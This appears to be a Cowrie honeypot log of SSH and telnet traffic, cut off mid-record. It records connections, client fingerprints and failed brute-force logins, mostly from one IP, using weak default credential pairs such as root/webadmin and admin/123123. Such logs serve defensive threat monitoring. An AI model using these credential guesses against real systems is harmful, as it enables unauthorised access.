{"eventid":"cowrie.login.failed","username":"clawdbot","password":"clawdbot","message":"login attempt [clawdbot/clawdbot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:08.078305Z","src_ip":"176.65.132.129","session":"d0d531dff024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:09.164667Z","src_ip":"176.65.132.129","session":"d0d531dff024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58918,"dst_ip":"159.203.135.109","dst_port":22,"session":"26c7679e2fe2","protocol":"ssh","message":"New connection: 176.65.132.129:58918 (159.203.135.109:22) [session: 26c7679e2fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:11.217510Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:11.223673Z","src_ip":"176.65.132.129","session":"26c7679e2fe2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:11.306710Z","src_ip":"176.65.132.129","session":"26c7679e2fe2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"onkar","password":"onkar123","message":"login attempt [onkar/onkar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:11.555346Z","src_ip":"176.65.132.129","session":"26c7679e2fe2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":54794,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe2987ccd167","protocol":"ssh","message":"New connection: 193.106.245.20:54794 (10.17.0.5:22) [session: fe2987ccd167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:11.584090Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:11.589258Z","src_ip":"193.106.245.20","session":"fe2987ccd167","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:11.707246Z","src_ip":"193.106.245.20","session":"fe2987ccd167","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"webadmin","message":"login attempt [root/webadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:12.203367Z","src_ip":"193.106.245.20","session":"fe2987ccd167","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:12.641168Z","src_ip":"176.65.132.129","session":"26c7679e2fe2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:13.323895Z","src_ip":"193.106.245.20","session":"fe2987ccd167","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58924,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c0ab55d3d0f","protocol":"ssh","message":"New connection: 176.65.132.129:58924 (159.203.135.109:22) [session: 5c0ab55d3d0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:14.874095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:14.880553Z","src_ip":"176.65.132.129","session":"5c0ab55d3d0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:14.964458Z","src_ip":"176.65.132.129","session":"5c0ab55d3d0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mojtaba","password":"123456","message":"login attempt [mojtaba/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:15.214309Z","src_ip":"176.65.132.129","session":"5c0ab55d3d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:16.299149Z","src_ip":"176.65.132.129","session":"5c0ab55d3d0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.28431582450867,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:17.301647Z","src_ip":"45.58.127.90","session":"6c14c80d7af1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49244,"dst_ip":"159.203.135.109","dst_port":22,"session":"659181c89a1b","protocol":"ssh","message":"New connection: 176.65.132.129:49244 (159.203.135.109:22) [session: 659181c89a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:18.321895Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:18.327082Z","src_ip":"176.65.132.129","session":"659181c89a1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:18.410263Z","src_ip":"176.65.132.129","session":"659181c89a1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"password","message":"login attempt [deploy/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:18.656682Z","src_ip":"176.65.132.129","session":"659181c89a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.00713539123535,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:19.740600Z","src_ip":"45.58.127.90","session":"809ef4cd9941","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:19.745835Z","src_ip":"176.65.132.129","session":"659181c89a1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.30892896652222,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:20.105986Z","src_ip":"45.58.127.90","session":"f1954b99e042","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49256,"dst_ip":"159.203.135.109","dst_port":22,"session":"78bfdab3d463","protocol":"ssh","message":"New connection: 176.65.132.129:49256 (159.203.135.109:22) [session: 78bfdab3d463]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:21.737701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:21.744866Z","src_ip":"176.65.132.129","session":"78bfdab3d463","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:21.931514Z","src_ip":"176.65.132.129","session":"78bfdab3d463","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123123","message":"login attempt [admin/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:22.365038Z","src_ip":"176.65.132.129","session":"78bfdab3d463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:23.451606Z","src_ip":"176.65.132.129","session":"78bfdab3d463","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.01448440551758,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:24.651612Z","src_ip":"45.58.127.90","session":"39176eff5fbd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":49268,"dst_ip":"159.203.135.109","dst_port":22,"session":"c52bdf6ee934","protocol":"ssh","message":"New connection: 176.65.132.129:49268 (159.203.135.109:22) [session: c52bdf6ee934]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:25.429864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:25.443332Z","src_ip":"176.65.132.129","session":"c52bdf6ee934","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:25.527290Z","src_ip":"176.65.132.129","session":"c52bdf6ee934","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1111","message":"login attempt [user/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:25.775240Z","src_ip":"176.65.132.129","session":"c52bdf6ee934","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.55416822433472,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:26.581323Z","src_ip":"45.58.127.90","session":"4689766d6a71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:26.862726Z","src_ip":"176.65.132.129","session":"c52bdf6ee934","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50768,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6bda237e434","protocol":"ssh","message":"New connection: 176.65.132.129:50768 (159.203.135.109:22) [session: e6bda237e434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:28.826311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:28.831217Z","src_ip":"176.65.132.129","session":"e6bda237e434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:28.916371Z","src_ip":"176.65.132.129","session":"e6bda237e434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:29.173541Z","src_ip":"176.65.132.129","session":"e6bda237e434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:30.263198Z","src_ip":"176.65.132.129","session":"e6bda237e434","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.664249897003174,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:31.580863Z","src_ip":"45.58.127.90","session":"40ba8150f8f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":50772,"dst_ip":"159.203.135.109","dst_port":22,"session":"4504b5de77ed","protocol":"ssh","message":"New connection: 176.65.132.129:50772 (159.203.135.109:22) [session: 4504b5de77ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:32.309881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:00:32.315109Z","src_ip":"176.65.132.129","session":"4504b5de77ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 